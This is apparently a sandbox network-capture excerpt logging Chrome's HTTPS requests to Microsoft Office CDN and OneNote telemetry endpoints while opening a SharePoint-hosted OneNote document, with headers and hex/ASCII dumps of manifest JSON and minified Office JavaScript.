{"clientVersion":"20240710.4","files":{"owl.js":["owl.0d1f1b153d771ea86590.js","sha384-WJbb26HxcwZAdvGAWxTNq4gXLnaXXAGyoeUR4LKLcU9adgbbcNzccHQHd6BbPEaU"],"owl.slim.js":["owl.slim.6a7c2b86e1c3aace8110.js","sha384-Rxexw0bIdCp+OXqRW0sDqEsOXXESzmlu/NVLnoBooLC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50068	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:38 UTC	390	OUT	GET /wise-m/owl/5mttl/msit/10/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:39 UTC	1138	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 77 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Tue, 16 Jul 2024 11:07:39 GMT Last-Modified: Mon, 15 Jul 2024 20:24:24 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=75113334808795824499309336027919598999"}],"include_subdomains ":true} Server: ECAcc (lhc/7938) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 1220d823-801e-0038-1270-d7ccc0000000 Content-Length: 3290 Connection: close
2024-07-16 11:07:39 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 31 30 2e 34 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 30 64 31 66 31 62 31 35 33 64 37 37 31 65 61 38 36 35 39 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 57 4a 62 62 32 36 48 78 63 77 5a 41 64 76 47 41 57 78 54 4e 71 34 67 58 4c 6e 61 58 58 41 47 79 6f 65 55 52 34 4c 4b 4c 63 55 39 61 64 67 62 62 63 4e 7a 63 63 48 51 48 64 36 42 62 50 45 61 55 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 36 61 37 63 32 62 38 36 65 31 63 33 61 61 63 65 38 31 31 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 52 78 65 78 77 30 62 49 64 43 70 2b 4f 58 71 52 57 30 73 44 71 45 73 4f 58 58 45 53 7a 6d 6c 75 2f 4e 56 4c 6e 6f 42 6f 6f 4c 43 Data Ascii: {"clientVersion":"20240710.4","files":{"owl.js":["owl.0d1f1b153d771ea86590.js","sha384-WJbb26HxcwZAdvGAWxTNq4gXLnaXXAGyoeUR4LKLcU9adgbbcNzccHQHd6BbPEaU"],"owl.slim.js":["owl.slim.6a7c2b86e1c3aace8110.js","sha384-Rxexw0bIdCp+OXqRW0sDqEsOXXESzmlu/NVLnoBooLC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50069	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:39 UTC	637	OUT	GET /wise-m/owl/5mttl/msit/100/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:40 UTC	1116	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 44 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Tue, 16 Jul 2024 11:07:39 GMT Last-Modified: Tue, 16 Jul 2024 08:39:42 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=33474792093211307417643641820333652570"}],"include_subdomains ":true} Server: ECAcc (lhc/78B2) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: c6c860e7-501e-0049-7070-d72aeb000000 Content-Length: 3290 Connection: close
2024-07-16 11:07:40 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 31 30 2e 34 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 30 64 31 66 31 62 31 35 33 64 37 37 31 65 61 38 36 35 39 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 57 4a 62 62 32 36 48 78 63 77 5a 41 64 76 47 41 57 78 54 4e 71 34 67 58 4c 6e 61 58 58 41 47 79 6f 65 55 52 34 4c 4b 4c 63 55 39 61 64 67 62 62 63 4e 7a 63 63 48 51 48 64 36 42 62 50 45 61 55 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 36 61 37 63 32 62 38 36 65 31 63 33 61 61 63 65 38 31 31 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 52 78 65 78 77 30 62 49 64 43 70 2b 4f 58 71 52 57 30 73 44 71 45 73 4f 58 58 45 53 7a 6d 6c 75 2f 4e 56 4c 6e 6f 42 6f 6f 4c 43 Data Ascii: {"clientVersion":"20240710.4","files":{"owl.js":["owl.0d1f1b153d771ea86590.js","sha384-WJbb26HxcwZAdvGAWxTNq4gXLnaXXAGyoeUR4LKLcU9adgbbcNzccHQHd6BbPEaU"],"owl.slim.js":["owl.slim.6a7c2b86e1c3aace8110.js","sha384-Rxexw0bIdCp+OXqRW0sDqEsOXXESzmlu/NVLnoBooLC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50072	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:40 UTC	391	OUT	GET /wise-m/owl/5mttl/msit/100/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:41 UTC	1117	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 46 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Tue, 16 Jul 2024 11:07:41 GMT Last-Modified: Tue, 16 Jul 2024 08:39:42 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=228077359714144988710588780693954265424"}],"include_subdomains ":true} Server: ECAcc (lhc/78B2) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: c6c860e7-501e-0049-7070-d72aeb000000 Content-Length: 3290 Connection: close
2024-07-16 11:07:41 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 31 30 2e 34 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 30 64 31 66 31 62 31 35 33 64 37 37 31 65 61 38 36 35 39 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 57 4a 62 62 32 36 48 78 63 77 5a 41 64 76 47 41 57 78 54 4e 71 34 67 58 4c 6e 61 58 58 41 47 79 6f 65 55 52 34 4c 4b 4c 63 55 39 61 64 67 62 62 63 4e 7a 63 63 48 51 48 64 36 42 62 50 45 61 55 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 36 61 37 63 32 62 38 36 65 31 63 33 61 61 63 65 38 31 31 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 52 78 65 78 77 30 62 49 64 43 70 2b 4f 58 71 52 57 30 73 44 71 45 73 4f 58 58 45 53 7a 6d 6c 75 2f 4e 56 4c 6e 6f 42 6f 6f 4c 43 Data Ascii: {"clientVersion":"20240710.4","files":{"owl.js":["owl.0d1f1b153d771ea86590.js","sha384-WJbb26HxcwZAdvGAWxTNq4gXLnaXXAGyoeUR4LKLcU9adgbbcNzccHQHd6BbPEaU"],"owl.slim.js":["owl.slim.6a7c2b86e1c3aace8110.js","sha384-Rxexw0bIdCp+OXqRW0sDqEsOXXESzmlu/NVLnoBooLC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50073	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:41 UTC	670	OUT	GET /wise/owl/owl.0d1f1b153d771ea86590.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://amdat-my.sharepoint.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:42 UTC	1187	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 52985 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Tue, 16 Jul 2024 11:07:42 GMT Last-Modified: Mon, 15 Jul 2024 20:17:47 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=47175607432694713945683251200732014823"}],"include_subdomains ":true} Server: ECAcc (lhc/793B) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: a499e7f0-701e-0013-6cf5-d64c0c000000 Content-Length: 198742 Connection: close
2024-07-16 11:07:42 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 2c 65 2c 6e 2c 6f 2c 72 3d 7b 31 38 39 37 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 6e 2e 64 28 65 2c 7b 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 7d 29 3b 76 61 72 20 6f 3d 6e 28 32 30 39 34 37 29 2c 72 3d 6e 28 34 36 30 34 39 29 2c 69 3d 6e 28 33 38 39 38 30 29 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 65 3d 6e 75 6c 6c 21 3d 3d 74 26 26 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 65 2e 76 61 6c 75 65 3d 6e 75 6c 6c 2c 65 2e 68 61 73 4e 65 78 74 3d 21 31 2c 65 2e 68 61 Data Ascii: var Microsoft;!function(){"use strict";var t,e,n,o,r={18973:function(t,e,n){n.d(e,{h:function(){return s}});var o=n(20947),r=n(46049),i=n(38980),s=function(t){function e(){var e=null!==t&&t.apply(this,arguments)\|\|this;return e.value=null,e.hasNext=!1,e.ha
2024-07-16 11:07:42 UTC	1	IN	Data Raw: 65 Data Ascii: e
2024-07-16 11:07:42 UTC	16383	IN	Data Raw: 73 74 69 6e 61 74 69 6f 6e 2e 6e 65 78 74 28 74 29 2c 6e 3d 3d 3d 65 26 26 28 74 68 69 73 2e 64 65 73 74 69 6e 61 74 69 6f 6e 2e 63 6f 6d 70 6c 65 74 65 28 29 2c 74 68 69 73 2e 75 6e 73 75 62 73 63 72 69 62 65 28 29 29 29 7d 2c 65 7d 28 72 2e 76 29 7d 2c 37 35 35 35 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 6e 2e 64 28 65 2c 7b 56 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 29 3b 76 61 72 20 6f 3d 6e 28 35 33 36 37 32 29 2c 72 3d 6e 28 33 38 39 38 30 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6f 2e 63 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 6f 3d 6e 65 77 20 72 2e 79 2c 69 3d 30 3b 72 65 74 75 72 6e 20 6f 2e 61 64 64 28 65 2e 73 63 68 65 64 75 6c 65 28 28 66 75 6e Data Ascii: stination.next(t),n===e&&(this.destination.complete(),this.unsubscribe()))},e}(r.v)},75555:function(t,e,n){n.d(e,{V:function(){return i}});var o=n(53672),r=n(38980);function i(t,e){return new o.c((function(n){var o=new r.y,i=0;return o.add(e.schedule((fun
2024-07-16 11:07:42 UTC	16383	IN	Data Raw: 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7d 63 61 74 63 68 28 74 29 7b 65 2e 65 78 63 65 70 74 69 6f 6e 73 2e 70 75 73 68 28 60 4d 61 74 68 2e 72 61 6e 64 6f 6d 3a 20 24 7b 28 30 2c 6f 2e 4d 35 29 28 74 29 7d 60 29 7d 74 5b 6e 5d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 31 36 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 7d 72 65 74 75 72 6e 20 65 7d 28 74 29 3b 6c 65 74 20 6e 3d 30 3b 72 65 74 75 72 6e 5b 22 78 78 78 78 78 78 78 78 2d 78 78 78 78 2d 34 78 78 78 2d 79 78 78 78 2d 78 78 78 78 78 78 78 78 78 78 78 78 22 2e 72 65 70 6c 61 63 65 28 2f 5b 78 79 5d 2f 67 2c 28 65 3d 3e 7b 63 6f 6e 73 74 20 6f 3d 31 35 26 74 5b 6e 5d 3b 72 65 74 75 72 6e 20 6e 2b 3d 31 2c 28 22 78 22 3d 3d 3d 65 3f 6f 3a 33 26 6f 7c 38 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 7d 29 29 Data Ascii: Math.random()}catch(t){e.exceptions.push(`Math.random: ${(0,o.M5)(t)}`)}t[n]=Math.floor(16*Math.random())}return e}(t);let n=0;return["xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(e=>{const o=15&t[n];return n+=1,("x"===e?o:3&o\|8).toString(16)}))
2024-07-16 11:07:42 UTC	16383	IN	Data Raw: 61 73 65 20 6f 2e 4b 70 69 3a 74 68 69 73 2e 50 6e 2e 70 75 73 68 28 65 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 6f 2e 51 6f 73 45 72 72 6f 72 3a 74 68 69 73 2e 6b 6e 2e 70 75 73 68 28 65 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 6f 2e 51 6f 73 50 69 6c 6c 61 72 3a 2d 31 3d 3d 3d 74 68 69 73 2e 45 6e 2e 6d 61 70 28 28 74 3d 3e 74 2e 6e 29 29 2e 69 6e 64 65 78 4f 66 28 65 2e 6e 29 26 26 74 68 69 73 2e 45 6e 2e 70 75 73 68 28 65 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 6f 2e 44 69 61 67 6e 6f 73 74 69 63 4c 6f 67 3a 74 68 69 73 2e 4e 6e 2e 70 75 73 68 28 65 29 7d 69 66 28 74 68 69 73 2e 41 6e 2b 3d 31 2c 74 21 3d 3d 6f 2e 44 69 61 67 6e 6f 73 74 69 63 4c 6f 67 26 26 74 21 3d 3d 6f 2e 51 6f 73 50 69 6c 6c 61 72 26 26 28 74 68 69 73 2e 55 6e 2b 3d 31 29 2c 74 68 69 Data Ascii: ase o.Kpi:this.Pn.push(e);break;case o.QosError:this.kn.push(e);break;case o.QosPillar:-1===this.En.map((t=>t.n)).indexOf(e.n)&&this.En.push(e);break;case o.DiagnosticLog:this.Nn.push(e)}if(this.An+=1,t!==o.DiagnosticLog&&t!==o.QosPillar&&(this.Un+=1),thi
2024-07-16 11:07:42 UTC	16383	IN	Data Raw: 65 64 20 62 65 66 6f 72 65 20 63 61 6c 6c 69 6e 67 20 6a 73 61 70 69 20 69 6e 69 74 69 61 6c 69 7a 65 57 6f 70 69 50 65 6e 64 69 6e 67 22 29 29 29 3b 63 6f 6e 73 74 20 50 3d 74 2e 41 70 70 6c 69 63 61 74 69 6f 6e 2e 49 6e 69 74 69 61 6c 69 7a 65 57 6f 70 69 50 65 6e 64 69 6e 67 28 49 2c 76 6f 69 64 20 30 2c 6e 3f 2e 73 65 73 73 69 6f 6e 49 64 29 2c 6b 3d 28 30 2c 69 2e 75 5f 29 28 29 2d 43 3b 6a 3f 2e 55 4c 53 2e 73 65 6e 64 54 72 61 63 65 54 61 67 28 35 37 30 37 37 35 37 36 39 2c 6f 2e 6e 2e 4d 6f 2c 72 2e 6b 2e 49 6e 66 6f 2c 60 42 6f 6f 74 53 74 72 61 70 46 69 6c 65 3a 20 49 6e 69 74 69 61 6c 69 7a 65 57 6f 70 69 50 65 6e 64 69 6e 67 20 72 65 74 75 72 6e 65 64 2e 20 5b 49 73 56 61 6c 69 64 57 6f 70 69 50 65 6e 64 69 6e 67 41 70 70 3a 20 24 7b 21 21 50 Data Ascii: ed before calling jsapi initializeWopiPending")));const P=t.Application.InitializeWopiPending(I,void 0,n?.sessionId),k=(0,i.u_)()-C;j?.ULS.sendTraceTag(570775769,o.n.Mo,r.k.Info,`BootStrapFile: InitializeWopiPending returned. [IsValidWopiPendingApp: ${!!P
2024-07-16 11:07:42 UTC	16383	IN	Data Raw: 6d 61 6e 63 65 2e 6e 61 76 69 67 61 74 69 6f 6e 2c 66 3d 75 2e 72 65 64 69 72 65 63 74 43 6f 75 6e 74 7c 7c 30 2c 6c 3d 63 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 7c 7c 30 2c 64 3d 63 2e 66 65 74 63 68 53 74 61 72 74 7c 7c 30 2c 68 3d 63 2e 72 65 73 70 6f 6e 73 65 45 6e 64 7c 7c 30 2c 70 3d 63 2e 72 65 71 75 65 73 74 53 74 61 72 74 7c 7c 30 2c 6d 3d 63 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 7c 7c 30 2c 77 3d 63 2e 72 65 73 70 6f 6e 73 65 45 6e 64 7c 7c 30 2c 67 3d 63 2e 64 6f 6d 43 6f 6d 70 6c 65 74 65 7c 7c 30 3b 6c 65 74 20 62 3d 22 55 4e 4b 4e 4f 57 4e 22 3b 73 77 69 74 63 68 28 75 2e 74 79 70 65 29 7b 63 61 73 65 20 30 3a 62 3d 22 4e 41 56 49 47 41 54 45 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 62 3d 22 52 45 4c 4f 41 44 22 3b 62 72 65 Data Ascii: mance.navigation,f=u.redirectCount\|\|0,l=c.navigationStart\|\|0,d=c.fetchStart\|\|0,h=c.responseEnd\|\|0,p=c.requestStart\|\|0,m=c.responseStart\|\|0,w=c.responseEnd\|\|0,g=c.domComplete\|\|0;let b="UNKNOWN";switch(u.type){case 0:b="NAVIGATE";break;case 1:b="RELOAD";bre
2024-07-16 11:07:42 UTC	5	IN	Data Raw: 74 75 72 6e 20 Data Ascii: turn
2024-07-16 11:07:42 UTC	16383	IN	Data Raw: 77 74 7d 2c 68 31 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 74 7d 2c 6b 33 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 74 7d 2c 71 4f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 74 7d 7d 29 3b 76 61 72 20 6f 2c 72 3d 6e 28 32 35 37 39 35 29 2c 69 3d 6e 28 36 33 35 39 30 29 2c 73 3d 6e 28 38 30 38 39 39 29 2c 61 3d 6e 28 33 30 39 31 29 2c 63 3d 6e 28 31 39 38 36 34 29 2c 75 3d 6e 28 32 34 37 37 36 29 2c 66 3d 6e 28 39 31 35 39 32 29 2c 6c 3d 6e 28 34 38 31 34 35 29 2c 64 3d 6e 28 34 33 38 30 33 29 2c 68 3d 6e 28 34 36 30 34 39 29 2c 70 3d 6e 28 33 34 38 38 33 29 2c 6d 3d 6e 28 35 34 31 34 31 29 2c 77 3d 6e 28 32 31 37 34 30 29 2c 67 3d 6e 28 39 39 31 34 35 29 2c 62 3d 6e 28 32 34 38 35 33 29 2c 76 3d 6e 28 Data Ascii: wt},h1:function(){return pt},k3:function(){return bt},qO:function(){return mt}});var o,r=n(25795),i=n(63590),s=n(80899),a=n(3091),c=n(19864),u=n(24776),f=n(91592),l=n(48145),d=n(43803),h=n(46049),p=n(34883),m=n(54141),w=n(21740),g=n(99145),b=n(24853),v=n(
2024-07-16 11:07:42 UTC	16383	IN	Data Raw: 76 65 6e 74 5f 4d 6f 76 65 54 6f 46 6f 6c 64 65 72 2c 54 5d 2c 5b 7a 2e 4f 35 2e 45 76 65 6e 74 5f 53 68 61 72 65 64 46 69 6c 65 50 69 63 6b 65 72 2c 50 5d 2c 5b 7a 2e 4f 35 2e 45 76 65 6e 74 5f 47 65 74 43 75 73 74 6f 6d 41 75 74 68 43 6f 6e 66 69 67 2c 6b 5d 2c 5b 7a 2e 62 69 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 43 41 41 45 4d 65 73 73 61 67 65 2c 4e 5d 2c 5b 7a 2e 62 69 2e 50 6f 73 74 4d 65 73 73 61 67 65 5f 41 63 71 75 69 72 65 4f 41 75 74 68 54 6f 6b 65 6e 54 65 61 6d 73 2c 52 5d 5d 2c 6e 2e 66 69 6c 65 54 79 70 65 3d 3d 3d 6c 2e 70 2e 45 78 63 65 6c 26 26 28 69 65 2e 70 75 73 68 28 5b 7a 2e 4f 35 2e 45 76 65 6e 74 5f 47 65 74 57 6f 70 69 49 6e 66 6f 46 72 6f 6d 55 72 6c 2c 49 5d 29 2c 69 65 2e 70 75 73 68 28 5b 7a 2e 4f 35 2e 45 76 65 6e 74 5f 47 Data Ascii: vent_MoveToFolder,T],[z.O5.Event_SharedFilePicker,P],[z.O5.Event_GetCustomAuthConfig,k],[z.bi.PostMessage_CAAEMessage,N],[z.bi.PostMessage_AcquireOAuthTokenTeams,R]],n.fileType===l.p.Excel&&(ie.push([z.O5.Event_GetWopiInfoFromUrl,I]),ie.push([z.O5.Event_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50075	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:42 UTC	1807	OUT	POST /o/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&build=16.0.17903.41012&waccluster=GEU3 HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 23006 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:42 UTC	16384	OUT	Data Raw: 7b 22 64 22 3a 7b 22 61 22 3a 22 4f 6e 65 4e 6f 74 65 22 2c 22 62 22 3a 22 65 6e 2d 55 53 22 2c 22 63 22 3a 22 45 64 69 74 22 2c 22 64 22 3a 22 45 44 49 54 22 2c 22 65 22 3a 22 31 36 2e 30 2e 31 37 39 30 33 2e 34 31 30 31 32 22 2c 22 66 22 3a 22 43 68 72 6f 6d 65 22 2c 22 67 22 3a 22 65 6e 2d 55 53 22 2c 22 68 22 3a 22 31 31 37 22 2c 22 69 22 3a 22 31 31 37 2e 30 2e 30 22 2c 22 6a 22 3a 22 31 36 2e 30 2e 31 37 39 30 33 2e 34 31 30 31 32 22 2c 22 6b 22 3a 22 47 45 55 33 22 2c 22 6c 22 3a 22 64 65 2d 44 45 22 2c 22 6d 22 3a 22 5c 22 37 63 71 6c 36 45 30 67 4d 5a 6e 46 62 73 67 4d 6e 65 62 38 77 70 76 78 6b 32 6b 62 73 73 34 46 6c 52 39 44 71 74 37 39 6d 39 73 3d 5c 22 22 2c 22 6e 22 3a 22 53 68 61 72 65 50 6f 69 6e 74 20 4f 6e 6c 69 6e 65 22 2c 22 6f 22 3a 